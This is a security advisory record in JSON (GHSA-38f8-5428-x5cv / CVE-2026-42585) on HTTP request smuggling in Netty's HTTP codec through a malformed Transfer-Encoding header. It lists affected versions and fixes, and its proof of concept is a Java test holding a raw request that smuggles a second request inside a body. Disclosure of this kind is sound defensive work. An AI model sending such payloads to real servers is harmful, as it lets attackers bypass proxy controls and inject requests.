CVE-2026-42585: Netty codec http Netty Vulnerable To HTTP Request Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-38f8-5428-x5cv",
  "modified" : "2026-05-14T20:41:21Z",
  "published" : "2026-05-07T00:22:27Z",
  "aliases" : [ "CVE-2026-42585" ],
  "summary" : "Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding",
  "details" : "### Summary\nNetty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty incorrectly marks a request as chunked when malformed \"Transfer-Encoding: chunked, identity\" is present.\nAccording to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,\n the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)\n status code and then close the connection.\n\"\n\nA possible scenario is when Netty is behind a proxy that doesn't reject requests with \"Transfer-Encoding: chunked, identity\", but prefers \"Content-Length\" and forwards the content to Netty.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.\n\n```java\n@Test\n    public void test() {\n        String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"Transfer-Encoding: chunked, identity\\r\\n\" +\n                \"Content-Length: 48\\r\\n\" +\n                \"\\r\\n\" +\n                \"0\\r\\n\" +\n                \"\\r\\n\" +\n                \"GET /smuggled HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"\\r\\n\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n        // Request 1\n        HttpRequest request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n        assertFalse(request.headers().contains(\"Content-Length\"));\n        LastHttpContent last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n\n        // Request 2\n        request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n    }\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.netty:netty-codec-http"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.2.0.Alpha1"
      }, {
        "fixed" : "4.2.13.Final"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.2.12.Final"
    }
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.netty:netty-codec-http"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.133.Final"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.132.Final"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42585"
  }, {
    "type" : "WEB",
    "url" : "https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/netty/netty"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-444" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-07T00:22:27Z",
    "nvd_published_at" : "2026-05-13T19:17:24Z"
  }
}